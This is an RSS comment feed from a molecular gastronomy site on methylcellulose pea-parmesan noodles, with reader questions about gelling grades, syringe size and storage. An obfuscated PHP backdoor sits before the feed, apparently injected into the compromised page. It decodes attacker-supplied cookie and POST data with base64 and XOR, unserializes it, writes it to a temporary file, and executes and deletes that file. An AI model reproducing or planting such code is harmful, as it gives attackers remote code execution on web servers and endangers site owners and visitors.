$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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	<title>Comments on: Instant Pea Parmesan Noodles in Saffron Consomme with Morel Dust</title>
	<atom:link href="http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/feed/" rel="self" type="application/rss+xml" />
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		<title>By: mgboyes</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-23874</link>
		<dc:creator><![CDATA[mgboyes]]></dc:creator>
		<pubDate>Thu, 03 Aug 2017 09:13:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-23874</guid>
		<description><![CDATA[I&#039;m trying to get this recipe working but having no success, and I assume it&#039;s because there are hundreds of different variants of methyl cellullose on the market, all with subtly different gelling properties.

The recipe calls for SGA7C or F50 (and the referred molecular &quot;kit&quot; includes F50) but from what I&#039;ve read online these have radically different gelling properties.

I&#039;m using F50 (getting hold of SGA7C seems to be very hard in the UK) but having no luck: the noodles do sort-of work, but they&#039;re so soft and fragile that you couldn&#039;t hope to pick one up with a fork or spoon - they just fall apart in the broth.

So which type is best, are those who&#039;ve made this recipe work all using SGA7C, and has anyone succeeded with F50?]]></description>
		<content:encoded><![CDATA[<p>I&#8217;m trying to get this recipe working but having no success, and I assume it&#8217;s because there are hundreds of different variants of methyl cellullose on the market, all with subtly different gelling properties.</p>
<p>The recipe calls for SGA7C or F50 (and the referred molecular &#8220;kit&#8221; includes F50) but from what I&#8217;ve read online these have radically different gelling properties.</p>
<p>I&#8217;m using F50 (getting hold of SGA7C seems to be very hard in the UK) but having no luck: the noodles do sort-of work, but they&#8217;re so soft and fragile that you couldn&#8217;t hope to pick one up with a fork or spoon &#8211; they just fall apart in the broth.</p>
<p>So which type is best, are those who&#8217;ve made this recipe work all using SGA7C, and has anyone succeeded with F50?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michael F. Copado</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-14685</link>
		<dc:creator><![CDATA[Michael F. Copado]]></dc:creator>
		<pubDate>Thu, 19 Mar 2015 15:57:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-14685</guid>
		<description><![CDATA[Thanks for the help. I&#039;m wondering if maybe I could freeze and maybe vac-seal the liquid and thaw it out Wednesday night. If push comes to shove I can always make another batch on Wednesday. But Sunday is my planned test day.]]></description>
		<content:encoded><![CDATA[<p>Thanks for the help. I&#8217;m wondering if maybe I could freeze and maybe vac-seal the liquid and thaw it out Wednesday night. If push comes to shove I can always make another batch on Wednesday. But Sunday is my planned test day.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: QuantumChef</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-14684</link>
		<dc:creator><![CDATA[QuantumChef]]></dc:creator>
		<pubDate>Thu, 19 Mar 2015 15:35:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-14684</guid>
		<description><![CDATA[Wow! Great idea! Yes, you can use a squeeze bottle but just make sure the tip hole is big enough so the noodles are not so thin and break so easily. In terms of storage, do what you would normally do when storing food in the fridge. I usually won&#039;t keep it for more than 48 hours but I don&#039;t have a scientific reason for it.
We would love to see pictures of your creation! Good luck!]]></description>
		<content:encoded><![CDATA[<p>Wow! Great idea! Yes, you can use a squeeze bottle but just make sure the tip hole is big enough so the noodles are not so thin and break so easily. In terms of storage, do what you would normally do when storing food in the fridge. I usually won&#8217;t keep it for more than 48 hours but I don&#8217;t have a scientific reason for it.<br />
We would love to see pictures of your creation! Good luck!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michael F. Copado</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-14683</link>
		<dc:creator><![CDATA[Michael F. Copado]]></dc:creator>
		<pubDate>Thu, 19 Mar 2015 15:23:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-14683</guid>
		<description><![CDATA[Going to use this noodle idea as a &quot;suprise&quot; for a work chili contest next week. Going to make a Chicken and hominy Chilli Verde, and make a mesquite smoked poblano and anaheim &quot;noodle&quot; and have people add it to their bowls. Has anyone used a squeeze bottle rather than a syringe? I&#039;m just worried about having enough &quot;loaded&quot; for folks to try, and don&#039;t really want to mess with re-filling my syringe.  Also how long with the liquid keep in the fridge? Thinking about making the &quot;noodle juice&quot; on Sunday and the contest is on Thursday.]]></description>
		<content:encoded><![CDATA[<p>Going to use this noodle idea as a &#8220;suprise&#8221; for a work chili contest next week. Going to make a Chicken and hominy Chilli Verde, and make a mesquite smoked poblano and anaheim &#8220;noodle&#8221; and have people add it to their bowls. Has anyone used a squeeze bottle rather than a syringe? I&#8217;m just worried about having enough &#8220;loaded&#8221; for folks to try, and don&#8217;t really want to mess with re-filling my syringe.  Also how long with the liquid keep in the fridge? Thinking about making the &#8220;noodle juice&#8221; on Sunday and the contest is on Thursday.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: mo_seph</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-4833</link>
		<dc:creator><![CDATA[mo_seph]]></dc:creator>
		<pubDate>Sat, 14 Dec 2013 20:13:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-4833</guid>
		<description><![CDATA[That works really well - I mixed with cold water, stirred and then microwaved. It turns into a big lump of rubbery foam, and then when that melts, it&#039;s perfectly mixed.]]></description>
		<content:encoded><![CDATA[<p>That works really well &#8211; I mixed with cold water, stirred and then microwaved. It turns into a big lump of rubbery foam, and then when that melts, it&#8217;s perfectly mixed.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: mo_seph</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-4832</link>
		<dc:creator><![CDATA[mo_seph]]></dc:creator>
		<pubDate>Sat, 14 Dec 2013 20:12:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-4832</guid>
		<description><![CDATA[I&#039;ve been trying to get good noodles with this, and it seems like the syringe diameter makes a huge difference. With a 5mm syringe, the noodles immediately float to the top and go fuzzy, forming a kind of mat. With a 1mm syringe, the noodles initially sink, then float up looking exactly like they should (although very thin!). So it looks like a 3mm syringe is critical.]]></description>
		<content:encoded><![CDATA[<p>I&#8217;ve been trying to get good noodles with this, and it seems like the syringe diameter makes a huge difference. With a 5mm syringe, the noodles immediately float to the top and go fuzzy, forming a kind of mat. With a 1mm syringe, the noodles initially sink, then float up looking exactly like they should (although very thin!). So it looks like a 3mm syringe is critical.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Crundy 12</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-970</link>
		<dc:creator><![CDATA[Crundy 12]]></dc:creator>
		<pubDate>Wed, 14 Dec 2011 15:34:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-970</guid>
		<description><![CDATA[I just found out that a better way of dissolving the methylcellulose for this recipe would be to put the MC into a dry mug and add about 1/3 cup of hot water and stir. The MC won&#039;t dissolve, but it will disperse into the water, so you just stir it every couple of minutes until the water cools sufficiently leaving the MC fully dissolved in cold water without looking like egg whites whisked to stiff peaks. I&#039;ll give it a go at some point.]]></description>
		<content:encoded><![CDATA[<p>I just found out that a better way of dissolving the methylcellulose for this recipe would be to put the MC into a dry mug and add about 1/3 cup of hot water and stir. The MC won&#8217;t dissolve, but it will disperse into the water, so you just stir it every couple of minutes until the water cools sufficiently leaving the MC fully dissolved in cold water without looking like egg whites whisked to stiff peaks. I&#8217;ll give it a go at some point.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Anonymous</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-958</link>
		<dc:creator><![CDATA[Anonymous]]></dc:creator>
		<pubDate>Sun, 11 Dec 2011 21:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-958</guid>
		<description><![CDATA[Glad you liked it. I think it should be ok but never tried.]]></description>
		<content:encoded><![CDATA[<p>Glad you liked it. I think it should be ok but never tried.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Crundy 12</title>
		<link>http://www.molecularrecipes.com/gelification/instant-pea-parmesan-noodles-saffron-consomme-morel-dust/#comment-956</link>
		<dc:creator><![CDATA[Crundy 12]]></dc:creator>
		<pubDate>Sun, 11 Dec 2011 20:46:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=1772#comment-956</guid>
		<description><![CDATA[Made this yesterday. Very good, but the parmesan flavour didn&#039;t really come through as much as I&#039;d have liked.
The methylcellulose was a pain to dissolve in the water. It turned into a solid froth rather than &quot;dissolving&quot;, and it took a while to run the pea mix through a sieve.

The mix made absolutely loads. Enough for about 20 servings! I&#039;ve therefore chucked the rest in the freezer. Do you think it will be OK to defrost and use again?]]></description>
		<content:encoded><![CDATA[<p>Made this yesterday. Very good, but the parmesan flavour didn&#8217;t really come through as much as I&#8217;d have liked.<br />
The methylcellulose was a pain to dissolve in the water. It turned into a solid froth rather than &#8220;dissolving&#8221;, and it took a while to run the pea mix through a sieve.</p>
<p>The mix made absolutely loads. Enough for about 20 servings! I&#8217;ve therefore chucked the rest in the freezer. Do you think it will be OK to defrost and use again?</p>
]]></content:encoded>
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